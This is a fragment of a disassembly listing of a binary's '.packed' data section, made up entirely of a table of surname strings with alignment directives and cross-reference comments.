XREF: .packed:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: .packed:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: .packed:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: .packed:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: .packed:0042E860o aShar db 'Shar',0 ; DATA XREF: .packed:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: .packed:0042E858o aShankland db 'Shankland',0 ; DATA XREF: .packed:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: .packed:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: .packed:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .packed:0042E848o aSexton db 'Sexton',0 ; DATA XREF: .packed:0042E844o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: .packed:0042E840o align 4 aSennett db 'Sennett',0 ; DATA XREF: .packed:0042E83Co aSen db 'Sen',0 ; DATA XREF: .packed:0042E838o aSelvage db 'Selvage',0 ; DATA XREF: .packed:0042E834o aSekler db 'Sekler',0 ; DATA XREF: .packed:0042E830o align 4 aSegal db 'Segal',0 ; DATA XREF: .packed:0042E82Co align 4 aSeeber db 'Seeber',0 ; DATA XREF: .packed:0042E828o align 4 aSeaton db 'Seaton',0 ; DATA XREF: .packed:0042E824o align 4 aScudder db 'Scudder',0 ; DATA XREF: .packed:0042E820o aScovel db 'Scovel',0 ; DATA XREF: .packed:0042E81Co align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .packed:0042E818o aSchwan db 'Schwan',0 ; DATA XREF: .packed:0042E814o align 10h aSchuyler db 'Schuyler',0 ; DATA XREF: .packed:0042E810o align 4 aSchutte db 'Schutte',0 ; DATA XREF: .packed:0042E80Co aSchuman db 'Schuman',0 ; DATA XREF: .packed:0042E808o aSchossberger db 'Schossberger',0 ; DATA XREF: .packed:0042E804o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .packed:0042E800o aSchilling db 'Schilling',0 ; DATA XREF: .packed:0042E7FCo align 10h aSchifini db 'Schifini',0 ; DATA XREF: .packed:0042E7F8o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .packed:0042E7F4o aScheiner db 'Scheiner',0 ; DATA XREF: .packed:0042E7F0o align 10h aScharlemann db 'Scharlemann',0 ; DATA XREF: .packed:0042E7ECo aScharf db 'Scharf',0 ; DATA XREF: .packed:0042E7E8o align 4 aScepan db 'Scepan',0 ; DATA XREF: .packed:0042E7E4o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .packed:0042E7E0o align 4 aSayied db 'Sayied',0 ; DATA XREF: .packed:0042E7DCo align 10h aSawtell db 'Sawtell',0 ; DATA XREF: .packed:0042E7D8o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .packed:0042E7D4o align 4 aSatta db 'Satta',0 ; DATA XREF: .packed:0042E7D0o align 10h aSatin db 'Satin',0 ; DATA XREF: .packed:0042E7CCo align 4 aSase db 'Sase',0 ; DATA XREF: .packed:0042E7C8o align 10h aSartore db 'Sartore',0 ; DATA XREF: .packed:0042E7C4o aSarin db 'Sarin',0 ; DATA XREF: .packed:0042E7C0o align 10h aSapers db 'Sapers',0 ; DATA XREF: .packed:0042E7BCo align 4 aSanna db 'Sanna',0 ; DATA XREF: .packed:0042E7B8o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .packed:0042E7B4o aSamson db 'Samson',0 ; DATA XREF: .packed:0042E7B0o align 4 aSali db 'Sali',0 ; DATA XREF: .packed:0042E7ACo align 10h aSahu db 'Sahu',0 ; DATA XREF: .packed:0042E7A8o align 4 aSafire db 'Safire',0 ; DATA XREF: .packed:0042E7A4o align 10h aSadler db 'Sadler',0 ; DATA XREF: .packed:0042E7A0o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .packed:0042E79Co align 4 aRyu db 'Ryu',0 ; DATA XREF: .packed:0042E798o aRush db 'Rush',0 ; DATA XREF: .packed:0042E794o align 10h aRuescher db 'Ruescher',0 ; DATA XREF: .packed:0042E790o align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .packed:0042E78Co align 4 aRuan db 'Ruan',0 ; DATA XREF: .packed:0042E788o align 10h aRu db 'Ru',0 ; DATA XREF: .packed:0042E784o align 4 aRoyal db 'Royal',0 ; DATA XREF: .packed:0042E780o align 4 aRow db 'Row',0 ; DATA XREF: .packed:0042E77Co aRonen db 'Ronen',0 ; DATA XREF: .packed:0042E778o align 4 aRogers db 'Rogers',0 ; DATA XREF: .packed:0042E774o align 10h aRoesler db 'Roesler',0 ; DATA XREF: .packed:0042E770o aRocha db 'Rocha',0 ; DATA XREF: .packed:0042E76Co align 10h aRobinson db 'Robinson',0 ; DATA XREF: .packed:0042E768o align 4 aRivera db 'Rivera',0 ; DATA XREF: .packed:0042E764o align 4 aRish db 'Rish',0 ; DATA XREF: .packed:0042E760o align 4 aRineer db 'Rineer',0 ; DATA XREF: .packed:0042E75Co align 4 aRindos db 'Rindos',0 ; DATA XREF: .packed:0042E758o align 4 aRielly db 'Rielly',0 ; DATA XREF: .packed:0042E754o align 4 aRichmond db 'Richmond',0 ; DATA XREF: .packed:0042E750o align 10h aRhea db 'Rhea',0 ; DATA XREF: .packed:0042E74Co align 4 aResnik db 'Resnik',0 ; DATA XREF: .packed:0042E748o align 10h aRepetto db 'Repetto',0 ; DATA XREF: .packed:0042E744o aRenick db 'Renick',0 ; DATA XREF: .packed:0042E740o align 10h aRemak db 'Remak',0 ; DATA XREF: .packed:0042E73Co align 4 aReinold db 'Reinold',0 ; DATA XREF: .packed:0042E738o aCunningham db 'Cunningham',0 ; DATA XREF: .packed:0042E734o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .packed:0042E730o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .packed:0042E72Co align 4 aRayport db 'Rayport',0 ; DATA XREF: .packed:0042E728o aRapple db 'Rapple',0 ; DATA XREF: .packed:0042E724o align 4 aRankin db 'Rankin',0 ; DATA XREF: .packed:0042E720o align 10h aRangan db 'Rangan',0 ; DATA XREF: .packed:0042E71Co align 4 aRaney db 'Raney',0 ; DATA XREF: .packed:0042E718o align 10h aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .packed:0042E714o aRadeke db 'Radeke',0 ; DATA XREF: .packed:0042E710o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .packed:0042E70Co align 4 aRabe db 'Rabe',0 ; DATA XREF: .packed:0042E708o align 4 aQuetin db 'Quetin',0 ; DATA XREF: .packed:0042E704o align 4 aQuaday db 'Quaday',0 ; DATA XREF: .packed:0042E700o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .packed:0042E6FCo aPugh db 'Pugh',0 ; DATA XREF: .packed:0042E6F8o align 4 aPuccia db 'Puccia',0 ; DATA XREF: .packed:0042E6F4o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .packed:0042E6F0o align 4 aProietti db 'Proietti',0 ; DATA XREF: .packed:0042E6ECo align 4 aPritz db 'Pritz',0 ; DATA XREF: .packed:0042E6E8o align 10h aPritchard db 'Pritchard',0 ; DATA XREF: .packed:0042E6E4o align 4 aPrevost db 'Prevost',0 ; DATA XREF: .packed:0042E6E0o aPreucel db 'Preucel',0 ; DATA XREF: .packed:0042E6DCo aPresper db 'Presper',0 ; DATA XREF: .packed:0042E6D8o aPowers db 'Powers',0 ; DATA XREF: .packed:0042E6D4o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .packed:0042E6D0o aPoma db 'Poma',0 ; DATA XREF: .packed:0042E6CCo align 4 aPolitis db 'Politis',0 ; DATA XREF: .packed:0042E6C8o aPolanyi db 'Polanyi',0 ; DATA XREF: .packed:0042E6C4o aPolak db 'Polak',0 ; DATA XREF: .packed:0042E6C0o align 4 aPoirier db 'Poirier',0 ; DATA XREF: .packed:0042E6BCo aPointer db 'Pointer',0 ; DATA XREF: .packed:0042E6B8o aPoincaire db 'Poincaire',0 ; DATA XREF: .packed:0042E6B4o align 10h aPocobene db 'Pocobene',0 ; DATA XREF: .packed:0042E6B0o align 4 aPo db 'Po',0 ; DATA XREF: .packed:0042E6ACo align 10h aPlous db 'Plous',0 ; DATA XREF: .packed:0042E6A8o align 4 aPlasket db 'Plasket',0 ; DATA XREF: .packed:0042E6A4o aPlant db 'Plant',0 ; DATA XREF: .packed:0042E6A0o align 4 aPlancon db 'Plancon',0 ; DATA XREF: .packed:0042E69Co aPinot db 'Pinot',0 ; DATA XREF: .packed:0042E698o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .packed:0042E694o aPfister db 'Pfister',0 ; DATA XREF: .packed:0042E690o aPettit db 'Pettit',0 ; DATA XREF: .packed:0042E68Co align 10h aPettibone db 'Pettibone',0 ; DATA XREF: .packed:0042E688o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .packed:0042E684o align 4 aPeters db 'Peters',0 ; DATA XREF: .packed:0042E680o align 10h aPerrimon db 'Perrimon',0 ; DATA XREF: .packed:0042E67Co align 4 aPerone db 'Perone',0 ; DATA XREF: .packed:0042E678o align 4 aPerna db 'Perna',0 ; DATA XREF: .packed:0042E674o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .packed:0042E670o aPerlak db 'Perlak',0 ; DATA XREF: .packed:0042E66Co align 4 aPerko db 'Perko',0 ; DATA XREF: .packed:0042E668o align 4 aPereira db 'Pereira',0 ; DATA XREF: .packed:0042E664o aPenny db 'Penny',0 ; DATA XREF: .packed:0042E660o align 4 aPeishel db 'Peishel',0 ; DATA XREF: .packed:0042E65Co aPederson db 'Pederson',0 ; DATA XREF: .packed:0042E658o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: .packed:0042E654o align 4 aPeabody db 'Peabody',0 ; DATA XREF: .packed:0042E650o aPaynter db 'Paynter',0 ; DATA XREF: .packed:0042E64Co aPawloski db 'Pawloski',0 ; DATA XREF: .packed:0042E648o align 10h aPavlon db 'Pavlon',0 ; DATA XREF: .packed:0042E644o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .packed:0042E640o aPattullo db 'Pattullo',0 ; DATA XREF: .packed:0042E63Co align 4 aPatrick db 'Patrick',0 ; DATA XREF: .packed:0042E638o aPatefield db 'Patefield',0 ; DATA XREF: .packed:0042E634o align 10h aPascucci db 'Pascucci',0 ; DATA XREF: .packed:0042E630o align 4 aPartridge db 'Partridge',0 ; DATA XREF: .packed:0042E62Co align 4 aParris db 'Parris',0 ; DATA XREF: .packed:0042E628o align 10h aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .packed:0042E624o aPaoletti db 'Paoletti',0 ; DATA XREF: .packed:0042E620o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .packed:0042E61Co align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: .packed:0042E618o align 10h aPanadero db 'Panadero',0 ; DATA XREF: .packed:0042E614o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: .packed:0042E610o align 4 aPallara db 'Pallara',0 ; DATA XREF: .packed:0042E60Co aPalepu db 'Palepu',0 ; DATA XREF: .packed:0042E608o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .packed:0042E604o align 4 aPaine db 'Paine',0 ; DATA XREF: .packed:0042E600o align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .packed:0042E5FCo align 4 aOvid db 'Ovid',0 ; DATA XREF: .packed:0042E5F8o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .packed:0042E5F4o aOtten db 'Otten',0 ; DATA XREF: .packed:0042E5F0o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: .packed:0042E5ECo align 10h aOstrowski db 'Ostrowski',0 ; DATA XREF: .packed:0042E5E8o align 4 aOspina db 'Ospina',0 ; DATA XREF: .packed:0042E5E4o align 4 aOrsi db 'Orsi',0 ; DATA XREF: .packed:0042E5E0o align 4 aOrfield db 'Orfield',0 ; DATA XREF: .packed:0042E5DCo aOray db 'Oray',0 ; DATA XREF: .packed:0042E5D8o align 4 aOpel db 'Opel',0 ; DATA XREF: .packed:0042E5D4o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .packed:0042E5D0o aOman db 'Oman',0 ; DATA XREF: .packed:0042E5CCo align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: .packed:0042E5C8o align 10h aOlszewski db 'Olszewski',0 ; DATA XREF: .packed:0042E5C4o align 4 aOlson db 'Olson',0 ; DATA XREF: .packed:0042E5C0o align 4 aOlsen db 'Olsen',0 ; DATA XREF: .packed:0042E5BCo align 4 aOldford db 'Oldford',0 ; DATA XREF: .packed:0042E5B8o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .packed:0042E5B4o aOh db 'Oh',0 ; DATA XREF: .packed:0042E5B0o align 10h aOgata db 'Ogata',0 ; DATA XREF: .packed:0042E5ACo align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .packed:0042E5A8o aNuzum db 'Nuzum',0 ; DATA XREF: .packed:0042E5A4o align 4 aNotman db 'Notman',0 ; DATA XREF: .packed:0042E5A0o align 10h aNitabach db 'Nitabach',0 ; DATA XREF: .packed:0042E59Co align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .packed:0042E598o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .packed:0042E594o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: .packed:0042E590o align 10h aNi_0 db 'Ni',0 ; DATA XREF: .packed:0042E58Co align 4 aNg db 'Ng',0 ; DATA XREF: .packed:0042E588o align 4 aNewlin db 'Newlin',0 ; DATA XREF: .packed:0042E584o align 10h aNewfeld db 'Newfeld',0 ; DATA XREF: .packed:0042E580o aNeuman db 'Neuman',0 ; DATA XREF: .packed:0042E57Co align 10h aNesci db 'Nesci',0 ; DATA XREF: .packed:0042E578o align 4 aNenna db 'Nenna',0 ; DATA XREF: .packed:0042E574o align 10h aNelson db 'Nelson',0 ; DATA XREF: .packed:0042E570o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: .packed:0042E56Co aNaviaux db 'Naviaux',0 ; DATA XREF: .packed:0042E568o aNardone db 'Nardone',0 ; DATA XREF: .packed:0042E564o aNardi db 'Nardi',0 ; DATA XREF: .packed:0042E560o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .packed:0042E55Co align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .packed:0042E558o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: .packed:0042E554o align 4 aMumford db 'Mumford',0 ; DATA XREF: .packed:0042E550o aMulroy db 'Mulroy',0 ; DATA XREF: .packed:0042E54Co align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .packed:0042E548o aMugnai db 'Mugnai',0 ; DATA XREF: .packed:0042E544o align 4 aMuello db 'Muello',0 ; DATA XREF: .packed:0042E540o align 10h aMudarri db 'Mudarri',0 ; DATA XREF: .packed:0042E53Co aMotooka db 'Motooka',0 ; DATA XREF: .packed:0042E538o aMostafavi db 'Mostafavi',0 ; DATA XREF: .packed:0042E534o align 4 aMosler db 'Mosler',0 ; DATA XREF: .packed:0042E530o align 4 aMosher db 'Mosher',0 ; DATA XREF: .packed:0042E52Co align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .packed:0042E528o align 4 aMorrow db 'Morrow',0 ; DATA XREF: .packed:0042E524o align 10h aMorrison db 'Morrison',0 ; DATA XREF: .packed:0042E520o align 4 aMoreton db 'Moreton',0 ; DATA XREF: .packed:0042E51Co aMorani db 'Morani',0 ; DATA XREF: .packed:0042E518o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .packed:0042E514o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .packed:0042E510o align 4 aMonque db 'Monque',0 ; DATA XREF: .packed:0042E50Co align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .packed:0042E508o align 4 aMohr db 'Mohr',0 ; DATA XREF: .packed:0042E504o align 10h aMoeller db 'Moeller',0 ; DATA XREF: .packed:0042E500o aModestino db 'Modestino',0 ; DATA XREF: .packed:0042E4FCo align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .packed:0042E4F8o aMittal db 'Mittal',0 ; DATA XREF: .packed:0042E4F4o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .packed:0042E4F0o aGonzalez db 'Gonzalez',0 ; DATA XREF: .packed:0042E4ECo align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .packed:0042E4E8o aMini db 'Mini',0 ; DATA XREF: .packed:0042E4E4o align 10h aMinh db 'Minh',0 ; DATA XREF: .packed:0042E4E0o align 4 aMills db 'Mills',0 ; DATA XREF: .packed:0042E4DCo align 10h aMieher db 'Mieher',0 ; DATA XREF: .packed:0042E4D8o align 4 aMiddle db 'Middle',0 ; DATA XREF: .packed:0042E4D4o align 10h aMichelman db 'Michelman',0 ; DATA XREF: .packed:0042E4D0o align 4 aMeurer db 'Meurer',0 ; DATA XREF: .packed:0042E4CCo align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: .packed:0042E4C8o align 10h aMetelka db 'Metelka',0 ; DATA XREF: .packed:0042E4C4o aMerz db 'Merz',0 ; DATA XREF: .packed:0042E4C0o align 10h aMerseth db 'Merseth',0 ; DATA XREF: .packed:0042E4BCo aMerminod db 'Merminod',0 ; DATA XREF: .packed:0042E4B8o align 4 aMerlani db 'Merlani',0 ; DATA XREF: .packed:0042E4B4o aMerikoski db 'Merikoski',0 ; DATA XREF: .packed:0042E4B0o align 4 aMenzies db 'Menzies',0 ; DATA XREF: .packed:0042E4ACo aMemisoglu db 'Memisoglu',0 ; DATA XREF: .packed:0042E4A8o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: .packed:0042E4A4o aMcnulty db 'Mcnulty',0 ; DATA XREF: .packed:0042E4A0o aMcnealy db 'Mcnealy',0 ; DATA XREF: .packed:0042E49Co aMclaren db 'Mclaren',0 ; DATA XREF: .packed:0042E498o aMclane db 'Mclane',0 ; DATA XREF: .packed:0042E494o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .packed:0042E490o aMcintosh db 'Mcintosh',0 ; DATA XREF: .packed:0042E48Co align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .packed:0042E488o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .packed:0042E484o align 10h aMcghee db 'Mcghee',0 ; DATA XREF: .packed:0042E480o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: .packed:0042E47Co align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .packed:0042E478o aMcdowell db 'Mcdowell',0 ; DATA XREF: .packed:0042E474o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .packed:0042E470o align 4 aMccall db 'Mccall',0 ; DATA XREF: .packed:0042E46Co align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: .packed:0042E468o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .packed:0042E464o aMazziotta db 'Mazziotta',0 ; DATA XREF: .packed:0042E460o align 4 aMazzali db 'Mazzali',0 aMay db 'May',0 aMauzy db 'Mauzy',0 align 10h aMattson db 'Mattson',0 aMatsukata db 'Matsukata',0 align 4 aMatarazzo db 'Matarazzo',0 align 10h aMatalka db 'Matalka',0 aMass db 'Mass',0 align 10h aMarubini db 'Marubini',0 align 4 aMarton db 'Marton',0 align 4 aMartochio db 'Martochio',0 align 10h aMartinez db 'Martinez',0 align 4 aMarques db 'Marques',0 aMargetts db 'Margetts',0 align 10h aMargalit db 'Margalit',0 align 4 aMarcus db 'Marcus',0 align 4 aMarchbanks db 'Marchbanks',0 align 10h aMarch db 'March',0 align 4 aMantovan db 'Mantovan',0 align 4 aManganiello db 'Manganiello',0 aMandel db 'Mandel',0 align 4 aManalis db 'Manalis',0 aMalova db 'Malova',0 align 4 aMaller db 'Maller',0 align 10h aMalatesta db 'Malatesta',0 align 4 aMaisano db 'Maisano',0 aMaineHershey db 'Maine-Hershey',0 align 4 aMaier db 'Maier',0 align 4 aMahony db 'Mahony',0 align 4 aMaggio db 'Maggio',0 align 4 aMadigan db 'Madigan',0 aMacy db 'Macy',0 align 4 aMacmillan db 'MacMillan',0 align 4 aMackenney db 'Mackenney',0 align 4 aMacintyre db 'Macintyre',0 align 10h aMaceachern db 'Maceachern',0 align 4 aMacdonald db 'Macdonald',0 align 4 aMaccormac db 'Maccormac',0 align 4 aMa db 'Ma',0 ; DATA XREF: .packed:0042E3C4o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .packed:0042E3C0o aLutcavage db 'Lutcavage',0 ; DATA XREF: .packed:0042E3BCo align 4 aLussier db 'Lussier',0 ; DATA XREF: .packed:0042E3B8o aLuoma db 'Luoma',0 ; DATA XREF: .packed:0042E3B4o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .packed:0042E3B0o aLuecke db 'Luecke',0 ; DATA XREF: .packed:0042E3ACo align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: .packed:0042E3A8o aLuciano db 'Luciano',0 ; DATA XREF: .packed:0042E3A4o aLucas db 'Lucas',0 ; DATA XREF: .packed:0042E3A0o align 4 aLubin db 'Lubin',0 ; DATA XREF: .packed:0042E39Co align 4 aLoza db 'Loza',0 ; DATA XREF: .packed:0042E398o align 4 aLowenstein db 'Lowenstein',0 ; DATA XREF: .packed:0042E394o align 10h aLoveman db 'Loveman',0 ; DATA XREF: .packed:0042E390o aLoss db 'Loss',0 ; DATA XREF: .packed:0042E38Co align 10h aLongworth db 'Longworth',0 ; DATA XREF: .packed:0042E388o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: .packed:0042E384o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: .packed:0042E380o aLivolsi db 'Livolsi',0 ; DATA XREF: .packed:0042E37Co aLivi db 'Livi',0 ; DATA XREF: .packed:0042E378o align 10h aLivernash db 'Livernash',0 ; DATA XREF: .packed:0042E374o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .packed:0042E370o align 4 aLittle db 'Little',0 ; DATA XREF: .packed:0042E36Co align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .packed:0042E368o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .packed:0042E364o align 4 aLinzee db 'Linzee',0 ; DATA XREF: .packed:0042E360o align 4 aLinehan db 'Linehan',0 ; DATA XREF: .packed:0042E35Co aLine db 'Line',0 ; DATA XREF: .packed:0042E358o align 4 aLinder db 'Linder',0 ; DATA XREF: .packed:0042E354o align 4 aLinda db 'Linda',0 ; DATA XREF: .packed:0042E350o align 4 aLinares db 'Linares',0 ; DATA XREF: .packed:0042E34Co aLim db 'Lim',0 ; DATA XREF: .packed:0042E348o aLightfoot db 'Lightfoot',0 ; DATA XREF: .packed:0042E344o align 4 aLight db 'Light',0 ; DATA XREF: .packed:0042E340o align 4 aLiem db 'Liem',0 ; DATA XREF: .packed:0042E33Co align 4 aLidano db 'Lidano',0 ; DATA XREF: .packed:0042E338o align 4 aLiakos db 'Liakos',0 ; DATA XREF: .packed:0042E334o align 4 aLessi db 'Lessi',0 ; DATA XREF: .packed:0042E330o align 4 aLesser db 'Lesser',0 ; DATA XREF: .packed:0042E32Co align 4 aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .packed:0042E328o align 10h aLenard db 'Lenard',0 ; DATA XREF: .packed:0042E324o align 4 aLeite db 'Leite',0 ; DATA XREF: .packed:0042E320o align 10h aLeclercq db 'Leclercq',0 ; DATA XREF: .packed:0042E31Co align 4 aLecce db 'Lecce',0 ; DATA XREF: .packed:0042E318o align 4 aLecar db 'Lecar',0 ; DATA XREF: .packed:0042E314o align 4 aLawless db 'Lawless',0 ; DATA XREF: .packed:0042E310o aLashley db 'Lashley',0 ; DATA XREF: .packed:0042E30Co aLaserna db 'Laserna',0 ; DATA XREF: .packed:0042E308o aLanzit db 'Lanzit',0 ; DATA XREF: .packed:0042E304o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .packed:0042E300o align 4 aLankes db 'Lankes',0 ; DATA XREF: .packed:0042E2FCo align 10h aLandes db 'Landes',0 ; DATA XREF: .packed:0042E2F8o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .packed:0042E2F4o ; .packed:0043294Co align 4 aLaing db 'Laing',0 ; DATA XREF: .packed:0042E2F0o align 4 aLafler db 'Lafler',0 ; DATA XREF: .packed:0042E2ECo ; .packed:off_4327E8o align 4 aLabunka db 'Labunka',0 ; DATA XREF: .packed:0042E2E8o aLa db 'La',0 ; DATA XREF: .packed:0042E2E4o align 10h aKuwabara db 'Kuwabara',0 ; DATA XREF: .packed:0042E2E0o align 4 aKusman db 'Kusman',0 ; DATA XREF: .packed:0042E2DCo align 4 aKumar db 'Kumar',0 ; DATA XREF: .packed:0042E2D8o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: .packed:0042E2D4o aKrysiak db 'Krysiak',0 ; DATA XREF: .packed:0042E2D0o aKroemer db 'Kroemer',0 ; DATA XREF: .packed:0042E2CCo aKraus db 'Kraus',0 ; DATA XREF: .packed:0042E2C8o align 4 aKrasney db 'Krasney',0 ; DATA XREF: .packed:0042E2C4o aKrailo db 'Krailo',0 ; DATA XREF: .packed:0042E2C0o align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .packed:0042E2BCo aKovaks db 'Kovaks',0 ; DATA XREF: .packed:0042E2B8o align 4 aKotter db 'Kotter',0 ; DATA XREF: .packed:0042E2B4o align 4 aKorzybski db 'Korzybski',0 ; DATA XREF: .packed:0042E2B0o align 10h aKool db 'Kool',0 ; DATA XREF: .packed:0042E2ACo align 4 aKonrad db 'Konrad',0 ; DATA XREF: .packed:0042E2A8o align 10h aKoniaris db 'Koniaris',0 ; DATA XREF: .packed:0042E2A4o align 4 aKommer db 'Kommer',0 ; DATA XREF: .packed:0042E2A0o align 4 aKoivumaki db 'Koivumaki',0 ; DATA XREF: .packed:0042E29Co align 10h aKohn db 'Kohn',0 ; DATA XREF: .packed:0042E298o align 4 aKoch db 'Koch',0 ; DATA XREF: .packed:0042E294o align 10h aKobrick db 'Kobrick',0 ; DATA XREF: .packed:0042E290o aKnuff db 'Knuff',0 ; DATA XREF: .packed:0042E28Co align 10h aKlint db 'Klint',0 ; DATA XREF: .packed:0042E288o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .packed:0042E284o aKling db 'Kling',0 ; DATA XREF: .packed:0042E280o align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: .packed:0042E27Co align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .packed:0042E278o aKleiman db 'Kleiman',0 ; DATA XREF: .packed:0042E274o aKleckner db 'Kleckner',0 ; DATA XREF: .packed:0042E270o align 4 aKittridge db 'Kittridge',0 ; DATA XREF: .packed:0042E26Co align 4 aKirscht db 'Kirscht',0 ; DATA XREF: .packed:0042E268o aKippenberger db 'Kippenberger',0 ; DATA XREF: .packed:0042E264o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: .packed:0042E260o aKindall db 'Kindall',0 ; DATA XREF: .packed:0042E25Co aKimura db 'Kimura',0 ; DATA XREF: .packed:0042E258o align 4 aKimmett db 'Kimmett',0 ; DATA XREF: .packed:0042E254o aKimmel db 'Kimmel',0 ; DATA XREF: .packed:0042E250o align 4 aKhong db 'Khong',0 ; DATA XREF: .packed:0042E24Co align 4 aKeul db 'Keul',0 ; DATA XREF: .packed:0042E248o align 4 aKerry db 'Kerry',0 ; DATA XREF: .packed:0042E244o align 4 aKendall db 'Kendall',0 ; DATA XREF: .packed:0042E240o aKemsley db 'Kemsley',0 ; DATA XREF: .packed:0042E23Co aKempton db 'Kempton',0 ; DATA XREF: .packed:0042E238o aKelsey db 'Kelsey',0 ; DATA XREF: .packed:0042E234o align 4 aKelker db 'Kelker',0 ; DATA XREF: .packed:0042E230o align 4 aKeith db 'Keith',0 ; DATA XREF: .packed:0042E22Co align 4 aKeepper db 'Keepper',0 ; DATA XREF: .packed:0042E228o aKeenan db 'Keenan',0 ; DATA XREF: .packed:0042E224o align 4 aKee db 'Kee',0 ; DATA XREF: .packed:0042E220o aKawachi db 'Kawachi',0 ; DATA XREF: .packed:0042E21Co aKasten db 'Kasten',0 ; DATA XREF: .packed:0042E218o align 10h aKassower db 'Kassower',0 ; DATA XREF: .packed:0042E214o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: .packed:0042E210o align 4 aKangis db 'Kangis',0 ; DATA XREF: .packed:0042E20Co align 10h aKamel db 'Kamel',0 ; DATA XREF: .packed:0042E208o align 4 aKalman db 'Kalman',0 ; DATA XREF: .packed:0042E204o align 10h aKalinowski db 'Kalinowski',0 ; DATA XREF: .packed:0042E200o align 4 aKalil db 'Kalil',0 ; DATA XREF: .packed:0042E1FCo align 4 aKaligian db 'Kaligian',0 ; DATA XREF: .packed:0042E1F8o align 10h aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .packed:0042E1F4o aKafadar db 'Kafadar',0 ; DATA XREF: .packed:0042E1F0o aKaboolian db 'Kaboolian',0 ; DATA XREF: .packed:0042E1ECo align 10h aKabbash db 'Kabbash',0 ; DATA XREF: .packed:0042E1E8o aJulious db 'Julious',0 ; DATA XREF: .packed:0042E1E4o aJuliano db 'Juliano',0 ; DATA XREF: .packed:0042E1E0o aJucks db 'Jucks',0 ; DATA XREF: .packed:0042E1DCo align 10h aJorgensen db 'Jorgensen',0 ; DATA XREF: .packed:0042E1D8o align 4 aJolly db 'Jolly',0 ; DATA XREF: .packed:0042E1D4o align 4 aJohns db 'Johns',0 ; DATA XREF: .packed:0042E1D0o align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: .packed:0042E1CCo align 4 